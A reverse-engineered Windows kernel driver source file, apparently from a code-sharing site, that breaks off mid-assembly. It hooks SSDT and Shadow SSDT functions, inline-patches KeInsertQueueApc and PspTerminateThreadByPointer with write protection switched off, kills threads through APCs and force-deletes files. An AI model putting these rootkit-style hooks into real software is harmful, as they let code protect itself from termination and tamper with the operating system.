📄 ildriver.c
字号:
/*
Icelight's Driver Source Code reversed by achillis[R.C.T]
blog: http://hi.baidu.com/_achillis
QQ : 344132161
*/
#include "ntifs.h"
#include "myRootkit.h"
#include "LDasm.h"
//类型声明
typedef HANDLE HWND;
typedef HWND HDESK;
typedef unsigned int UINT;
typedef unsigned char BYTE;
typedef UINT_PTR WPARAM;
typedef ULONG_PTR LPARAM;
typedef HWND
(*pfnNtUserFindWindowEx)(
HWND hwndParent,
HWND hwndChildAfter,
PUNICODE_STRING ucClassName,
PUNICODE_STRING ucWindowName,
DWORD dwUnknown
);
typedef BOOL
(*pfnNtUserPostMessage)(
HWND hWnd,
UINT Msg,
WPARAM wParam,
LPARAM lParam
);
typedef NTSTATUS
(*pfnNtUserBuildHwndList)(
HDESK hDesktop,
HWND hwndParent,
BOOLEAN bChildren,
ULONG dwThreadId,
ULONG lParam,
HWND* pWnd,
PULONG pBufSize
);
typedef HWND
(*pfnNtUserGetForegroundWindow)(VOID);
typedef DWORD
(*pfnNtUserQueryWindow)(
HWND hWnd,
DWORD Index
);
typedef HWND
(*pfnNtUserWindowFromPoint)(
LONG X,
LONG Y
);
typedef BOOL
(*pfnNtUserPostThreadMessage)(
DWORD idThread,
UINT Msg,
WPARAM wParam,
LPARAM lParam
);
typedef HWND
(*pfnNtUserSetParent)(
HWND hWndChild,
HWND hWndoldParent
);
typedef NTSTATUS
(*pfnNtOpenProcess)(
PHANDLE ProcessHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PCLIENT_ID ClientId
);
typedef NTSTATUS
(*pfnNtOpenThread)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PCLIENT_ID ClientId
);
typedef NTSTATUS
(*pfnZwTerminateThread)(
HANDLE ThreadHandle,
NTSTATUS ExitStatus
);
typedef NTSTATUS
(*pfnPspTerminateThreadByPointer)(
PETHREAD Thread,
NTSTATUS ExitStatus
);
//-------------------------------------------------------------------------------------------
//两个数组,用于反汇编用
DWORD OpCode[256]={0x4000,0x4000,0x4000,0x4000,0x100,0x2000,0x8000,0x8000,0x4000,0x4000,
0x4000,0x4000,0x100,0x2000,0x8000,0x10000,0xC000,0x4000,0xC000,0x4000,
0x8100,0xA000,0x8000,0x8000,0xC000,0x4000,0x4000,0x4000,0x8100,0xA000,
0x8000,0x8000,0x4000,0x4000,0x4000,0x4000,0x100,0x2000,0x8080,0x8000,
0x4000,0x4000,0x4000,0x4000,0x100,0x2000,0x8080,0x8000,0x4000,0x4000,
0x4000,0x4000,0x100,0x2000,0x8080,0x8000,0x4000,0x4000,0x4000,0x4000,
0x100,0x2000,0x8080,0x8000,0,0,0,0,0x8000,0,0,0,0,0,0,0,0x8000,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0x8000,0,0,0,0x8000,0x8000,0xC000,0xC000,0x80,
0x8080,0x20,0x10,0x2000,0x6000,0x100,0x4100,0x8000,0x8000,0x8000,0x8000,
0x28100,0x28100,0x20100,0x20100,0x20100,0x20100,0x20100,0x20100,0x20100,
0x20100,0x28100,0x28100,0x20100,0x20100,0x20100,0x20100,0x4100,0x6000,
0xC100,0x4100,0x4000,0x4000,0x4000,0x4000,0x4000,0x4000,0x4000,0x4000,
0xC000,0x4000,0xC000,0x4000,0,0,0,0x8000,0x8000,0x8000,0x8000,0x8000,
0x8000,0,0xA200,0,0x8000,0x8000,0x8000,0x8000,0x1000,0x1000,0x1000,0x1000,
0,0,0,0,0x100,0x2000,0,0,0,0x8000,0,0x8000,0x100,0x100,0x100,0x100,0x100,
0x100,0x8100,0x8100,0x2000,0x2000,0x2000,0x2000,0xA000,0x2000,0x2000,
0x2000,0x4100,0x4100,0x40200,0x40000,0xC000,0xC000,0x4100,0x6000,0x300,
0,0x48200,0x48000,0x8000,0x100,0x8000,0x48000,0x4000,0x4000,0x4000,0x4000,
0x8100,0x8100,0x8000,0x8000,0x4000,0x4000,0x4000,0x4000,0x4000,0x4000,
0x4000,0x4000,0x28100,0x28100,0x20100,0x20100,0x8100,0x8100,0x8100,0x8100,
0x22000,0x62000,0xA200,0x60100,0x8000,0x8000,0x8000,0x8000,0x8008,0x8000,
0x40,0x40,0x8000,0x8000,0x4000,0x4000,0,0,0x8000,0x8000,0,0,0x4000,0x4000};
DWORD OpCode2[256]={0x4000,0x4000,0x4000,0x4000,0xFFFFFFFF,0xFFFFFFFF,0,0xFFFFFFFF,0,0,
0,0,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,
0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,
0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,
0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,
0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,
0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,
0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,
0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,
0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0x4000,0x4000,0x4000,
0x4000,0x4000,0x4000,0x4000,0x4000,0x4000,0x4000,0x4000,0x4000,
0x4000,0x4000,0x4000,0x4000,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,
0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,
0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,
0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,
0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,
0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,
0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,
0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,
0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0x22000,0x22000,0x22000,0x22000,
0x22000,0x22000,0x22000,0x22000,0x22000,0x22000,0x22000,0x22000,
0x22000,0x22000,0x22000,0x22000,0x4000,0x4000,0x4000,0x4000,0x4000,
0x4000,0x4000,0x4000,0x4000,0x4000,0x4000,0x4000,0x4000,0x4000,0x4000,
0x4000,0,0,0,0x4000,0x4100,0x4000,0xFFFFFFFF,0xFFFFFFFF,0,0,0,0x4000,
0x4100,0x4000,0xFFFFFFFF,0x4000,0x4000,0x4000,0x4000,0x4000,0x4000,0x4000,
0x4000,0x4000,0xFFFFFFFF,0xFFFFFFFF,0x4100,0x4000,0x4000,0x4000,0x4000,
0x4000,0x4000,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,
0xFFFFFFFF,0,0,0,0,0,0x100,0,0,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,
0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,
0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,
0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,
0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,
0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,
0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,
0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,
0xFFFFFFFF,0xFFFFFFFF};
char byte_12C84[4]; //Unknow
//存储自己的EPROCESS
ULONG EPROCESSArray[100];
ULONG g_oplen;
ULONG g_FakeProcLen;
BOOL bHookPspTerminateThreadByPointerSuccess;
BOOL bIsKeInsertQueueApcNeverModifyed=0;
//保存原始cr0的值
ULONG g_OriginalCr0;
//Shadow SSDT中相关函数的索引
ULONG IdNtUserFindWindowEx;
ULONG IdNtUserGetForcegroundWindow;
ULONG IdNtUserQueryWindow;
ULONG IdNtUserBuildHwndList;
ULONG IdNtUserPostThreadMessage;
ULONG IdNtUserWindowFromPoint;
ULONG IdNtUserPostMessage;
ULONG IdNtUserSetParent;
//两个链表的偏移
ULONG ThreadListEntryOffsetInEThread;
ULONG ThreadListHeadOffstInEprocess;
PSERVICE_DESCRIPTOR_TABLE_SHADOW pKeServiceDescriptorTableShadow;
KSPIN_LOCK g_SpinLock;
PETHREAD g_IceThread;
PKNORMAL_ROUTINE ApcNormalRoutine;
PKKERNEL_ROUTINE ApcKernelRoutine;
PKRUNDOWN_ROUTINE ApcRundownRoutine;
PEPROCESS csrssEPROCESS;
//保存原始SSDT值
ULONG g_OriginalNtOpenProcess;
ULONG g_OriginalNtOpenThread;
//保存自己的Pid和Tid
HANDLE g_IcePid;
HANDLE g_IceTid;
ULONG dwNtBuildNumber;
HWND LastTopWindowHandle;
ULONG PspTerminateThreadByPointer;
//函数变量声明
pfnNtUserWindowFromPoint oldNtUserWindowFromPoint;
pfnNtUserPostThreadMessage oldNtUserPostThreadMessage;
pfnNtUserSetParent oldNtUserSetParent;
pfnNtUserGetForegroundWindow oldNtUserGetForcegroundWindow;
pfnNtUserQueryWindow oldNtUserQueryWindow;
pfnNtUserPostMessage oldNtUserPostMessage;
pfnNtUserBuildHwndList oldNtUserBuildHwndList;
pfnNtUserFindWindowEx oldNtUserFindWindowEx;
pfnNtOpenThread trueNtOpenThread;
pfnNtOpenProcess trueNtOpenProcess;
pfnZwTerminateThread myZwTerminateThread;
pfnPspTerminateThreadByPointer newPspTerminateThreadByPointer;
//-------------------------------------------------------------------------
HWND
newNtUserFindWindowEx(
HWND hwndParent,
HWND hwndChildAfter,
PUNICODE_STRING ucClassName,
PUNICODE_STRING ucWindowName,
DWORD dwUnknown
);
BOOL
newNtUserPostMessage(
HWND hWnd,
UINT Msg,
WPARAM wParam,
LPARAM lParam
);
NTSTATUS
newNtUserBuildHwndList(
HDESK hDesktop,
HWND hwndParent,
BOOLEAN bChildren,
ULONG dwThreadId,
ULONG lParam,
HWND* pWnd,
PULONG pBufSize
);
HWND
newNtUserGetForegroundWindow(VOID);
DWORD
newNtUserQueryWindow(
HWND hWnd,
DWORD Index
);
HWND
newNtUserWindowFromPoint(
LONG X,
LONG Y
);
BOOL
newNtUserPostThreadMessage(
DWORD idThread,
UINT Msg,
WPARAM wParam,
LPARAM lParam
);
HWND
newNtUserSetParent(
HWND hWndChild,
HWND hWndNewParent
);
NTSTATUS
myNtOpenProcess (
PHANDLE ProcessHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PCLIENT_ID ClientId
);
NTSTATUS
myNtOpenThread(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PCLIENT_ID ClientId
);
NTSTATUS
myPspTerminateThreadByPointer(
PETHREAD Thread,
NTSTATUS ExitStatus
);
void TerminateThreadApcRoutine(
KAPC *Apc,
PKNORMAL_ROUTINE *NormalRoutine,
PVOID *NormalContext,
PVOID *SystemArgument1,
PVOID *SystemArgument2
);
NTSTATUS
DeviceControlProduce(
PFILE_OBJECT FileObject,
ULONG Unknow2,
PVOID SystemBuffer,
ULONG InputBufferLen,
PVOID UserBuffer,
ULONG OutputBufferLength,
ULONG ControlCode,
PIO_STATUS_BLOCK pIoStatusBlock
);
ULONG
CheckSepcialApcRoute(
PVOID targetThread,
PKKERNEL_ROUTINE KernelRoutine,
PKRUNDOWN_ROUTINE RundownRoutine,
PKNORMAL_ROUTINE NormalRoutine
);
//----------------------------------------------------函数介绍-------------------------------------------
//一个小的反汇编部分,用于计算指令长度
int __stdcall GetOpLen(BYTE *p);
//从PsTerminateSystemThread中获取ETHREAD中Flag的偏移
WORD GetThreadFlagOffset(void);
//检查并对KeInsertQueueApc进行Hook或Unhook,可能不准确
void CheckAndHookorUnHookKeInsertQueueApc(void);
//HookProc for KeInsertQueueApc,为了获取PsExitSpecialApc
void myKeInsertQueueApc(void);
//从KeAddSystemServiceTable中搜索Shadow SSDT的地址
ULONG SearchShadowSSDT(void);
//根据不同系统版本设置Shadow SSDT中几个要Hook的函数的索引
ULONG SetShdowSSDTFunID(void);
//查句柄的信息,SystemHandleInformation
char* GetSystemHandleInfo(SYSTEM_INFORMATION_CLASS SystemInformationClass);
//获取Csrss.exe的pid,为Hook/Unhook Shadow SSDT做准备
HANDLE GetCsrssPid(void);
//自己搜索ZwTerminateThread的地址(为何?)
BOOL GetZwTerminateThreadAddr(void);
//只是调用了SearchShadowSSDT而已
BOOL GetShdowSSDTAddr(void);
//Hook SSDT中的NtOpenProcess和NtOpenThread
BOOL HookNtOpenProcessAndThread(void);
//驱动卸载时恢复SSDT Hook
BOOL UnHookSSDT(void);
//把自己的EPROCESS放到一个数组中
BOOL StoreEPROCESS(ULONG eProcess);
//I don't know how this function does,just something about eprocess
BOOL SomeThingAboutEprocess(ULONG eProess);
//判断是否自己的EPROCESS,用于Hook函数中决定是否放行
BOOL IsMyEprocess(PVOID eProess);
//对KeInsertQueueApc进行Header Inline Hook
BOOL InlineHookKeInsertQueueApc(void);
//对PspTerminateThreadByPointer进行Header Inline Hook,Hook方式为一字节两次跳转
BOOL InlineHookPspTerminateThreadByPointer(PVOID FunAddr, PVOID HookProc);
//在PspTerminateSystemThread中搜索PspTerminateThreadByPointer的地址,以进行Hook
BOOL SearchPspTermiThreadAddress(void);
//调用了搜索地址,完成Hook等一系列动作而已
BOOL SetOneByteHookOnPspTerminateThreadByPointer(void);
//自己实现的Sleep函数
BOOL IceSleep(int time);
//强制删除文件
BOOL IceForceDeleteFileByHandle(HANDLE FileHandle);
//强制删除文件,调用了上面那个
BOOL IceForceDeleteFile(HANDLE hFileHandle);
//使用了多种安全措施进行memcpy,但还是不够安全
BOOL IceSafeMemcpy(PVOID TargetAddr, PVOID SourceAddr, int len);
//简单调用PsLookupProcessByProcessId加判断
PEPROCESS IceGetEprocessByPid(ULONG pid);
//模仿PsGetNextProcessThread
PKTHREAD IceGetNextProcessThread(PVOID eProess, PVOID eThread);
//投递APC杀线程,准备了两个APC,获取系统PsExitSpecialApc就用自带的
ULONG IceKillThread(PKTHREAD ethread);
//驱动卸载时Unhook PspTerminateThreadByPointer
void UnHookPspTerminateThread(void);
//简单包装IoCreateFile
HANDLE IceCreateFile(PCWSTR SourceString, ACCESS_MASK DesiredAccess, ULONG ShareAccess);
//根据系统版本设置EPROCESS和ETHREAD两个结构中线程相关链表的偏移,为IceGetNextProcessThread服务
ULONG SetThreadListOffset(void);
//通过LDasm引擎计算myKeInsertQueueApc的有效代码长度
ULONG GetFakeCodeLengthForKeInsertQueueApc();
//ForceDeleteFile时用到的完成例程
NTSTATUS CompleteRoutine(PDEVICE_OBJECT DeviceObject, PIRP Irp, PVOID Context);
//下面四个就不介绍了
NTSTATUS DispatchCreateClose(PDEVICE_OBJECT DeviceObject, PIRP Irp);
NTSTATUS DispatchIoControl(PDEVICE_OBJECT pDeviceObject, PIRP PIrp);
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath);
void DriverUnload(PDRIVER_OBJECT pDriverObject);
#ifdef ALLOC_PRAGMA
#pragma alloc_text(INIT, DriverEntry)
#pragma alloc_text(PAGE, DispatchCreateClose)
#pragma alloc_text(PAGE, DispatchIoControl)
#pragma alloc_text(PAGE, DriverUnload)
#endif // ALLOC_PRAGMA
WORD GetThreadFlagOffset(void)
{
char* pFn;
int len;
char *pNextOpCode;
// 该函数从PsTerminateThread中搜索flag标志的偏移
for ( pFn = (char*)PsTerminateSystemThread; pFn < (char*)PsTerminateSystemThread + 0x100; pFn += len )
{
len = SizeOfCode(pFn, &pNextOpCode);
if ( !len )
break;
if ( *(WORD *)pNextOpCode == 0x80F6 )
return *(WORD *)(pNextOpCode + 2);
}
return 0;
}
ULONG
CheckSepcialApcRoute(
PVOID targetThread,
PKKERNEL_ROUTINE KernelRoutine,
PKRUNDOWN_ROUTINE RundownRoutine,
PKNORMAL_ROUTINE NormalRoutine)
{
ULONG result;
//该函数为了获取PsExitSpecialApc,即下面的KernelRoutine
result = (ULONG)targetThread;
if (targetThread == (PVOID)g_IceThread )
{
if ( KernelRoutine )
{
result = (ULONG)NormalRoutine;
if ( NormalRoutine )
{
if ( !ApcKernelRoutine )
{
ApcKernelRoutine = KernelRoutine;
ApcRundownRoutine = RundownRoutine;
ApcNormalRoutine = NormalRoutine;
}
}
}
}
return result;
}
void CheckAndHookorUnHookKeInsertQueueApc(void)
{
char *pfn;
KIRQL oldIRQL;
if ( g_oplen )
{
pfn = (char *)KeInsertQueueApc;
if ( bIsKeInsertQueueApcNeverModifyed )
pfn = (char *)KeInsertQueueApc + 2;
if ( MmIsAddressValid(pfn) )
{
WPOFF();
oldIRQL = KeRaiseIrqlToDpcLevel();
//判断myKeInsertQueueApc是否已经Hook了
if ( g_oplen != 5 || *((BYTE *)myKeInsertQueueApc + g_FakeProcLen) != 0xE9 )
{
//若Hook过,则把KeInsertQueueApc的函数头拷回来,5字节,还原Hook
memcpy(pfn, (char *)myKeInsertQueueApc + g_FakeProcLen, g_oplen);
}
else
{
//若未Hook,则开始对KeInsertQueueApc进行Hook
*pfn = 0xE9;
*(DWORD *)(pfn + 1) =*(DWORD *)((char *)myKeInsertQueueApc + g_FakeProcLen + 1)
+(char *)myKeInsertQueueApc - pfn + g_FakeProcLen;
}
KeLowerIrql(oldIRQL);
WPON();
g_oplen = 0;
}
}
}
__declspec( naked ) int __stdcall GetOpLen(BYTE *p)
{
//能力有限,还原成的C版得到的结果时对时错,为保证准确只好使用原版汇编
_asm
{
push ebp
mov ebp, esp
sub esp, 0x2C
mov edx, [ebp+8]
mov ax, [edx]
push edi
xor edi, edi
test ax, ax
mov byte ptr [ebp-0x2B], 0x4
mov byte ptr [ebp-0x2C], 0x4
jz oplab_5
cmp ax, 0xFFFF
jz oplab_5
mov cl, al
lea eax, [edx+1]
jmp oplab_4
oplab_1:
test edx, edi
jnz oplab_5
or edi, edx
test dl, 0x10
jz oplab_2
xor byte ptr [ebp-0x2C], 6
jmp oplab_3
oplab_2:
test dl, 0x20
jz oplab_3
xor byte ptr [ebp-0x2B], 6
oplab_3:
mov cl, [eax]
inc eax
oplab_4:
movzx edx, cl
push eax //
lea eax,OpCode//
mov edx, dword ptr [edx*4+eax]
pop eax//
test dl, 0xF8
jnz oplab_1
or edi, edx
cmp cl, 0x0F
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -